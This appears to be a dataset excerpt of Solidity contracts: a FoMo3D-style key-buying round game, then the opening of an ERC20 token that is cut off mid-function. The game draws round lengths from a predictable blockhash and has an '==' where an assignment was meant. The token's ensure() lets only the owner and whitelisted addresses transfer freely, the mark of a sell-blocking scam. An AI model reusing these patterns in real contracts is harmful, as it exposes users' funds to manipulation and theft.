function buyXid(uint256 _affCode)
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
POOHMODatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
if (_affCode == 0 || _affCode == _pID)
{
_affCode = plyr_[_pID].laff;
} else if (_affCode != plyr_[_pID].laff) {
plyr_[_pID].laff = _affCode;
}
buyCore(_pID, _affCode, _eventData_);
}
function buyXaddr(address _affCode)
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
POOHMODatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == address(0) || _affCode == msg.sender)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxAddr_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
buyCore(_pID, _affID, _eventData_);
}
function buyXname(bytes32 _affCode)
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
POOHMODatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == '' || _affCode == plyr_[_pID].name)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxName_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
buyCore(_pID, _affID, _eventData_);
}
function reLoadXid(uint256 _affCode, uint256 _eth)
isActivated()
isHuman()
isWithinLimits(_eth)
public
{
POOHMODatasets.EventReturns memory _eventData_;
uint256 _pID = pIDxAddr_[msg.sender];
if (_affCode == 0 || _affCode == _pID)
{
_affCode = plyr_[_pID].laff;
} else if (_affCode != plyr_[_pID].laff) {
plyr_[_pID].laff = _affCode;
}
reLoadCore(_pID, _affCode, _eth, _eventData_);
}
function reLoadXaddr(address _affCode, uint256 _eth)
isActivated()
isHuman()
isWithinLimits(_eth)
public
{
POOHMODatasets.EventReturns memory _eventData_;
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == address(0) || _affCode == msg.sender)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxAddr_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
reLoadCore(_pID, _affID, _eth, _eventData_);
}
function reLoadXname(bytes32 _affCode, uint256 _eth)
isActivated()
isHuman()
isWithinLimits(_eth)
public
{
POOHMODatasets.EventReturns memory _eventData_;
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == '' || _affCode == plyr_[_pID].name)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxName_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
reLoadCore(_pID, _affID, _eth, _eventData_);
}
function withdraw()
isActivated()
isHuman()
public
{
uint256 _rID = rID_;
uint256 _now = now;
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _eth;
if (_now > round_[_rID].end && round_[_rID].ended == false && round_[_rID].plyr != 0)
{
POOHMODatasets.EventReturns memory _eventData_;
round_[_rID].ended = true;
_eventData_ = endRound(_eventData_);
_eth = withdrawEarnings(_pID);
if (_eth > 0)
plyr_[_pID].addr.transfer(_eth);
_eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID;
emit POOHMOevents.onWithdrawAndDistribute
(
msg.sender,
plyr_[_pID].name,
_eth,
_eventData_.compressedData,
_eventData_.compressedIDs,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.POOHAmount,
_eventData_.genAmount
);
} else {
_eth = withdrawEarnings(_pID);
if (_eth > 0)
plyr_[_pID].addr.transfer(_eth);
emit POOHMOevents.onWithdraw(_pID, msg.sender, plyr_[_pID].name, _eth, _now);
}
}
function registerNameXID(string _nameString, uint256 _affCode, bool _all)
isHuman()
public
payable
{
bytes32 _name = _nameString.nameFilter();
address _addr = msg.sender;
uint256 _paid = msg.value;
(bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXIDFromDapp.value(_paid)(_addr, _name, _affCode, _all);
uint256 _pID = pIDxAddr_[_addr];
emit POOHMOevents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now);
}
function registerNameXaddr(string _nameString, address _affCode, bool _all)
isHuman()
public
payable
{
bytes32 _name = _nameString.nameFilter();
address _addr = msg.sender;
uint256 _paid = msg.value;
(bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXaddrFromDapp.value(msg.value)(msg.sender, _name, _affCode, _all);
uint256 _pID = pIDxAddr_[_addr];
emit POOHMOevents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now);
}
function registerNameXname(string _nameString, bytes32 _affCode, bool _all)
isHuman()
public
payable
{
bytes32 _name = _nameString.nameFilter();
address _addr = msg.sender;
uint256 _paid = msg.value;
(bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXnameFromDapp.value(msg.value)(msg.sender, _name, _affCode, _all);
uint256 _pID = pIDxAddr_[_addr];
emit POOHMOevents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now);
}
function getBuyPrice()
public
view
returns(uint256)
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
return ( (round_[_rID].keys.add(1000000000000000000)).ethRec(1000000000000000000) );
else
return ( 75000000000000 );
}
function getTimeLeft()
public
view
returns(uint256)
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now < round_[_rID].end)
if (_now > round_[_rID].strt + rndGap_)
return( (round_[_rID].end).sub(_now) );
else
return( (round_[_rID].strt + rndGap_).sub(_now) );
else
return(0);
}
function getPlayerVaults(uint256 _pID)
public
view
returns(uint256 ,uint256, uint256)
{
uint256 _rID = rID_;
if (now > round_[_rID].end && round_[_rID].ended == false && round_[_rID].plyr != 0)
{
if (round_[_rID].plyr == _pID)
{
return
(
(plyr_[_pID].win).add( ((round_[_rID].pot).mul(48)) / 100 ),
(plyr_[_pID].gen).add( getPlayerVaultsHelper(_pID, _rID).sub(plyrRnds_[_pID][_rID].mask) ),
plyr_[_pID].aff
);
} else {
return
(
plyr_[_pID].win,
(plyr_[_pID].gen).add( getPlayerVaultsHelper(_pID, _rID).sub(plyrRnds_[_pID][_rID].mask) ),
plyr_[_pID].aff
);
}
} else {
return
(
plyr_[_pID].win,
(plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID, plyr_[_pID].lrnd)),
plyr_[_pID].aff
);
}
}
function getPlayerVaultsHelper(uint256 _pID, uint256 _rID)
private
view
returns(uint256)
{
return( ((((round_[_rID].mask).add(((((round_[_rID].pot).mul(potSplit_[round_[_rID].team].gen)) / 100).mul(1000000000000000000)) / (round_[_rID].keys))).mul(plyrRnds_[_pID][_rID].keys)) / 1000000000000000000) );
}
function getCurrentRoundInfo()
public
view
returns(uint256, uint256, uint256, uint256, uint256, uint256, uint256, address, bytes32, uint256, uint256, uint256, uint256)
{
uint256 _rID = rID_;
return
(
round_[_rID].ico,
_rID,
round_[_rID].keys,
round_[_rID].end,
round_[_rID].strt,
round_[_rID].pot,
(round_[_rID].team + (round_[_rID].plyr * 10)),
plyr_[round_[_rID].plyr].addr,
plyr_[round_[_rID].plyr].name,
rndTmEth_[_rID][0],
rndTmEth_[_rID][1],
rndTmEth_[_rID][2],
rndTmEth_[_rID][3]
);
}
function getPlayerInfoByAddress(address _addr)
public
view
returns(uint256, bytes32, uint256, uint256, uint256, uint256, uint256)
{
uint256 _rID = rID_;
if (_addr == address(0))
{
_addr == msg.sender;
}
uint256 _pID = pIDxAddr_[_addr];
return
(
_pID,
plyr_[_pID].name,
plyrRnds_[_pID][_rID].keys,
plyr_[_pID].win,
(plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID, plyr_[_pID].lrnd)),
plyr_[_pID].aff,
plyrRnds_[_pID][_rID].eth
);
}
function buyCore(uint256 _pID, uint256 _affID, POOHMODatasets.EventReturns memory _eventData_)
private
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
{
core(_rID, _pID, msg.value, _affID, 0, _eventData_);
} else {
if (_now > round_[_rID].end && round_[_rID].ended == false)
{
round_[_rID].ended = true;
_eventData_ = endRound(_eventData_);
_eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID;
emit POOHMOevents.onBuyAndDistribute
(
msg.sender,
plyr_[_pID].name,
msg.value,
_eventData_.compressedData,
_eventData_.compressedIDs,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.POOHAmount,
_eventData_.genAmount
);
}
plyr_[_pID].gen = plyr_[_pID].gen.add(msg.value);
}
}
function reLoadCore(uint256 _pID, uint256 _affID, uint256 _eth, POOHMODatasets.EventReturns memory _eventData_)
private
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
{
plyr_[_pID].gen = withdrawEarnings(_pID).sub(_eth);
core(_rID, _pID, _eth, _affID, 0, _eventData_);
} else if (_now > round_[_rID].end && round_[_rID].ended == false) {
round_[_rID].ended = true;
_eventData_ = endRound(_eventData_);
_eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID;
emit POOHMOevents.onReLoadAndDistribute
(
msg.sender,
plyr_[_pID].name,
_eventData_.compressedData,
_eventData_.compressedIDs,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.POOHAmount,
_eventData_.genAmount
);
}
}
function core(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID, uint256 _team, POOHMODatasets.EventReturns memory _eventData_)
private
{
if (plyrRnds_[_pID][_rID].keys == 0)
_eventData_ = managePlayer(_pID, _eventData_);
if (round_[_rID].eth < 100000000000000000000 && plyrRnds_[_pID][_rID].eth.add(_eth) > 5000000000000000000)
{
uint256 _availableLimit = (5000000000000000000).sub(plyrRnds_[_pID][_rID].eth);
uint256 _refund = _eth.sub(_availableLimit);
plyr_[_pID].gen = plyr_[_pID].gen.add(_refund);
_eth = _availableLimit;
}
if (_eth > 1000000000)
{
uint256 _keys = (round_[_rID].eth).keysRec(_eth);
if (_keys >= 1000000000000000000)
{
updateTimer(_keys, _rID);
if (round_[_rID].plyr != _pID)
round_[_rID].plyr = _pID;
if (round_[_rID].team != _team)
round_[_rID].team = _team;
_eventData_.compressedData = _eventData_.compressedData + 100;
}
plyrRnds_[_pID][_rID].keys = _keys.add(plyrRnds_[_pID][_rID].keys);
plyrRnds_[_pID][_rID].eth = _eth.add(plyrRnds_[_pID][_rID].eth);
round_[_rID].keys = _keys.add(round_[_rID].keys);
round_[_rID].eth = _eth.add(round_[_rID].eth);
rndTmEth_[_rID][0] = _eth.add(rndTmEth_[_rID][0]);
_eventData_ = distributeExternal(_rID, _pID, _eth, _affID, 0, _eventData_);
_eventData_ = distributeInternal(_rID, _pID, _eth, 0, _keys, _eventData_);
endTx(_pID, 0, _eth, _keys, _eventData_);
}
}
function calcUnMaskedEarnings(uint256 _pID, uint256 _rIDlast)
private
view
returns(uint256)
{
return( (((round_[_rIDlast].mask).mul(plyrRnds_[_pID][_rIDlast].keys)) / (1000000000000000000)).sub(plyrRnds_[_pID][_rIDlast].mask) );
}
function calcKeysReceived(uint256 _rID, uint256 _eth)
public
view
returns(uint256)
{
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
return ( (round_[_rID].eth).keysRec(_eth) );
else
return ( (_eth).keys() );
}
function iWantXKeys(uint256 _keys)
public
view
returns(uint256)
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
return ( (round_[_rID].keys.add(_keys)).ethRec(_keys) );
else
return ( (_keys).eth() );
}
function receivePlayerInfo(uint256 _pID, address _addr, bytes32 _name, uint256 _laff)
external
{
require (msg.sender == address(PlayerBook));
if (pIDxAddr_[_addr] != _pID)
pIDxAddr_[_addr] = _pID;
if (pIDxName_[_name] != _pID)
pIDxName_[_name] = _pID;
if (plyr_[_pID].addr != _addr)
plyr_[_pID].addr = _addr;
if (plyr_[_pID].name != _name)
plyr_[_pID].name = _name;
if (plyr_[_pID].laff != _laff)
plyr_[_pID].laff = _laff;
if (plyrNames_[_pID][_name] == false)
plyrNames_[_pID][_name] = true;
}
function receivePlayerNameList(uint256 _pID, bytes32 _name)
external
{
require (msg.sender == address(PlayerBook));
if(plyrNames_[_pID][_name] == false)
plyrNames_[_pID][_name] = true;
}
function determinePID(POOHMODatasets.EventReturns memory _eventData_)
private
returns (POOHMODatasets.EventReturns)
{
uint256 _pID = pIDxAddr_[msg.sender];
if (_pID == 0)
{
_pID = PlayerBook.getPlayerID(msg.sender);
bytes32 _name = PlayerBook.getPlayerName(_pID);
uint256 _laff = PlayerBook.getPlayerLAff(_pID);
pIDxAddr_[msg.sender] = _pID;
plyr_[_pID].addr = msg.sender;
if (_name != "")
{
pIDxName_[_name] = _pID;
plyr_[_pID].name = _name;
plyrNames_[_pID][_name] = true;
}
if (_laff != 0 && _laff != _pID)
plyr_[_pID].laff = _laff;
_eventData_.compressedData = _eventData_.compressedData + 1;
}
return (_eventData_);
}
function managePlayer(uint256 _pID, POOHMODatasets.EventReturns memory _eventData_)
private
returns (POOHMODatasets.EventReturns)
{
if (plyr_[_pID].lrnd != 0)
updateGenVault(_pID, plyr_[_pID].lrnd);
plyr_[_pID].lrnd = rID_;
_eventData_.compressedData = _eventData_.compressedData + 10;
return(_eventData_);
}
function endRound(POOHMODatasets.EventReturns memory _eventData_)
private
returns (POOHMODatasets.EventReturns)
{
uint256 _rID = rID_;
uint256 _winPID = round_[_rID].plyr;
uint256 _winTID = round_[_rID].team;
uint256 _pot = round_[_rID].pot;
uint256 _win = (_pot.mul(48)) / 100;
uint256 _dev = (_pot / 50);
uint256 _gen = (_pot.mul(potSplit_[_winTID].gen)) / 100;
uint256 _POOH = (_pot.mul(potSplit_[_winTID].pooh)) / 100;
uint256 _res = (((_pot.sub(_win)).sub(_dev)).sub(_gen)).sub(_POOH);
uint256 _ppt = (_gen.mul(1000000000000000000)) / (round_[_rID].keys);
uint256 _dust = _gen.sub((_ppt.mul(round_[_rID].keys)) / 1000000000000000000);
if (_dust > 0)
{
_gen = _gen.sub(_dust);
_res = _res.add(_dust);
}
plyr_[_winPID].win = _win.add(plyr_[_winPID].win);
admin.transfer(_dev);
flushDivs.call.value(_POOH)(bytes4(keccak256("donate()")));
round_[_rID].mask = _ppt.add(round_[_rID].mask);
_eventData_.compressedData = _eventData_.compressedData + (round_[_rID].end * 1000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + (_winPID * 100000000000000000000000000) + (_winTID * 100000000000000000);
_eventData_.winnerAddr = plyr_[_winPID].addr;
_eventData_.winnerName = plyr_[_winPID].name;
_eventData_.amountWon = _win;
_eventData_.genAmount = _gen;
_eventData_.POOHAmount = _POOH;
_eventData_.newPot = _res;
rID_++;
_rID++;
round_[_rID].strt = now;
rndMax_ = timerLengths[determineNextRoundLength()];
round_[_rID].end = now.add(rndMax_);
round_[_rID].pot = _res;
return(_eventData_);
}
function determineNextRoundLength() internal view returns(uint256 time)
{
uint256 roundTime = uint256(keccak256(abi.encodePacked(blockhash(block.number - 1)))) % 6;
return roundTime;
}
function updateGenVault(uint256 _pID, uint256 _rIDlast)
private
{
uint256 _earnings = calcUnMaskedEarnings(_pID, _rIDlast);
if (_earnings > 0)
{
plyr_[_pID].gen = _earnings.add(plyr_[_pID].gen);
plyrRnds_[_pID][_rIDlast].mask = _earnings.add(plyrRnds_[_pID][_rIDlast].mask);
}
}
function updateTimer(uint256 _keys, uint256 _rID)
private
{
uint256 _now = now;
uint256 _newTime;
if (_now > round_[_rID].end && round_[_rID].plyr == 0)
_newTime = (((_keys) / (1000000000000000000)).mul(rndInc_)).add(_now);
else
_newTime = (((_keys) / (1000000000000000000)).mul(rndInc_)).add(round_[_rID].end);
if (_newTime < (rndMax_).add(_now))
round_[_rID].end = _newTime;
else
round_[_rID].end = rndMax_.add(_now);
}
function distributeExternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID, uint256 _team, POOHMODatasets.EventReturns memory _eventData_)
private
returns(POOHMODatasets.EventReturns)
{
uint256 _dev = _eth / 100;
uint256 _POOH = 0;
if (!address(admin).call.value(_dev)())
{
_POOH = _dev;
_dev = 0;
}
uint256 _aff = _eth / 10;
if (_affID != _pID && plyr_[_affID].name != '') {
plyr_[_affID].aff = _aff.add(plyr_[_affID].aff);
emit POOHMOevents.onAffiliatePayout(_affID, plyr_[_affID].addr, plyr_[_affID].name, _rID, _pID, _aff, now);
} else {
_POOH = _POOH.add(_aff);
}
_POOH = _POOH.add((_eth.mul(fees_[_team].pooh)) / (100));
if (_POOH > 0)
{
flushDivs.call.value(_POOH)(bytes4(keccak256("donate()")));
_eventData_.POOHAmount = _POOH.add(_eventData_.POOHAmount);
}
return(_eventData_);
}
function potSwap()
external
payable
{
admin.transfer(msg.value);
}
function distributeInternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _team, uint256 _keys, POOHMODatasets.EventReturns memory _eventData_)
private
returns(POOHMODatasets.EventReturns)
{
uint256 _gen = (_eth.mul(fees_[_team].gen)) / 100;
_eth = _eth.sub(((_eth.mul(14)) / 100).add((_eth.mul(fees_[_team].pooh)) / 100));
uint256 _pot = _eth.sub(_gen);
uint256 _dust = updateMasks(_rID, _pID, _gen, _keys);
if (_dust > 0)
_gen = _gen.sub(_dust);
round_[_rID].pot = _pot.add(_dust).add(round_[_rID].pot);
_eventData_.genAmount = _gen.add(_eventData_.genAmount);
_eventData_.potAmount = _pot;
return(_eventData_);
}
function updateMasks(uint256 _rID, uint256 _pID, uint256 _gen, uint256 _keys)
private
returns(uint256)
{
uint256 _ppt = (_gen.mul(1000000000000000000)) / (round_[_rID].keys);
round_[_rID].mask = _ppt.add(round_[_rID].mask);
uint256 _pearn = (_ppt.mul(_keys)) / (1000000000000000000);
plyrRnds_[_pID][_rID].mask = (((round_[_rID].mask.mul(_keys)) / (1000000000000000000)).sub(_pearn)).add(plyrRnds_[_pID][_rID].mask);
return(_gen.sub((_ppt.mul(round_[_rID].keys)) / (1000000000000000000)));
}
function withdrawEarnings(uint256 _pID)
private
returns(uint256)
{
updateGenVault(_pID, plyr_[_pID].lrnd);
uint256 _earnings = (plyr_[_pID].win).add(plyr_[_pID].gen).add(plyr_[_pID].aff);
if (_earnings > 0)
{
plyr_[_pID].win = 0;
plyr_[_pID].gen = 0;
plyr_[_pID].aff = 0;
}
return(_earnings);
}
function endTx(uint256 _pID, uint256 _team, uint256 _eth, uint256 _keys, POOHMODatasets.EventReturns memory _eventData_)
private
{
_eventData_.compressedData = _eventData_.compressedData + (now * 1000000000000000000) + (_team * 100000000000000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID + (rID_ * 10000000000000000000000000000000000000000000000000000);
emit POOHMOevents.onEndTx
(
_eventData_.compressedData,
_eventData_.compressedIDs,
plyr_[_pID].name,
msg.sender,
_eth,
_keys,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.POOHAmount,
_eventData_.genAmount,
_eventData_.potAmount
);
}
bool public activated_ = false;
function activate()
public
{
require(msg.sender == admin);
require(activated_ == false);
activated_ = true;
rID_ = 1;
round_[1].strt = now + rndExtra_ - rndGap_;
round_[1].end = now + rndInit_ + rndExtra_;
}
}
library POOHMODatasets {
struct EventReturns {
uint256 compressedData;
uint256 compressedIDs;
address winnerAddr;
bytes32 winnerName;
uint256 amountWon;
uint256 newPot;
uint256 POOHAmount;
uint256 genAmount;
uint256 potAmount;
}
struct Player {
address addr;
bytes32 name;
uint256 win;
uint256 gen;
uint256 aff;
uint256 lrnd;
uint256 laff;
}
struct PlayerRounds {
uint256 eth;
uint256 keys;
uint256 mask;
uint256 ico;
}
struct Round {
uint256 plyr;
uint256 team;
uint256 end;
bool ended;
uint256 strt;
uint256 keys;
uint256 eth;
uint256 pot;
uint256 mask;
uint256 ico;
uint256 icoGen;
uint256 icoAvg;
}
struct TeamFee {
uint256 gen;
uint256 pooh;
}
struct PotSplit {
uint256 gen;
uint256 pooh;
}
}
library KeysCalc {
using SafeMath for *;
function keysRec(uint256 _curEth, uint256 _newEth)
internal
pure
returns (uint256)
{
return(keys((_curEth).add(_newEth)).sub(keys(_curEth)));
}
function ethRec(uint256 _curKeys, uint256 _sellKeys)
internal
pure
returns (uint256)
{
return((eth(_curKeys)).sub(eth(_curKeys.sub(_sellKeys))));
}
function keys(uint256 _eth)
internal
pure
returns(uint256)
{
return ((((((_eth).mul(1000000000000000000)).mul(312500000000000000000000000)).add(5624988281256103515625000000000000000000000000000000000000000000)).sqrt()).sub(74999921875000000000000000000000)) / (156250000);
}
function eth(uint256 _keys)
internal
pure
returns(uint256)
{
return ((78125000).mul(_keys.sq()).add(((149999843750000).mul(_keys.mul(1000000000000000000))) / (2))) / ((1000000000000000000).sq());
}
}
interface PlayerBookInterface {
function getPlayerID(address _addr) external returns (uint256);
function getPlayerName(uint256 _pID) external view returns (bytes32);
function getPlayerLAff(uint256 _pID) external view returns (uint256);
function getPlayerAddr(uint256 _pID) external view returns (address);
function getNameFee() external view returns (uint256);
function registerNameXIDFromDapp(address _addr, bytes32 _name, uint256 _affCode, bool _all) external payable returns(bool, uint256);
function registerNameXaddrFromDapp(address _addr, bytes32 _name, address _affCode, bool _all) external payable returns(bool, uint256);
function registerNameXnameFromDapp(address _addr, bytes32 _name, bytes32 _affCode, bool _all) external payable returns(bool, uint256);
}
library NameFilter {
function nameFilter(string _input)
internal
pure
returns(bytes32)
{
bytes memory _temp = bytes(_input);
uint256 _length = _temp.length;
require (_length <= 32 && _length > 0);
require(_temp[0] != 0x20 && _temp[_length-1] != 0x20);
if (_temp[0] == 0x30)
{
require(_temp[1] != 0x78);
require(_temp[1] != 0x58);
}
bool _hasNonNumber;
for (uint256 i = 0; i < _length; i++)
{
if (_temp[i] > 0x40 && _temp[i] < 0x5b)
{
_temp[i] = byte(uint(_temp[i]) + 32);
if (_hasNonNumber == false)
_hasNonNumber = true;
} else {
require
(
_temp[i] == 0x20 ||
(_temp[i] > 0x60 && _temp[i] < 0x7b) ||
(_temp[i] > 0x2f && _temp[i] < 0x3a));
if (_temp[i] == 0x20)
require( _temp[i+1] != 0x20);
if (_hasNonNumber == false && (_temp[i] < 0x30 || _temp[i] > 0x39))
_hasNonNumber = true;
}
}
require(_hasNonNumber == true);
bytes32 _ret;
assembly {
_ret := mload(add(_temp, 32))
}
return (_ret);
}
}
library SafeMath {
function mul(uint256 a, uint256 b)
internal
pure
returns (uint256 c)
{
if (a == 0) {
return 0;
}
c = a * b;
require(c / a == b, "SafeMath mul failed");
return c;
}
function sub(uint256 a, uint256 b)
internal
pure
returns (uint256)
{
require(b <= a, "SafeMath sub failed");
return a - b;
}
function add(uint256 a, uint256 b)
internal
pure
returns (uint256 c)
{
c = a + b;
require(c >= a, "SafeMath add failed");
return c;
}
function sqrt(uint256 x)
internal
pure
returns (uint256 y)
{
uint256 z = ((add(x,1)) / 2);
y = x;
while (z < y)
{
y = z;
z = ((add((x / z),z)) / 2);
}
}
function sq(uint256 x)
internal
pure
returns (uint256)
{
return (mul(x,x));
}
function pwr(uint256 x, uint256 y)
internal
pure
returns (uint256)
{
if (x==0)
return (0);
else if (y==0)
return (1);
else
{
uint256 z = x;
for (uint256 i=1; i < y; i++)
z = mul(z,x);
return (z);
}
}
} | 0 | 659 |
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract RocketBunny {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
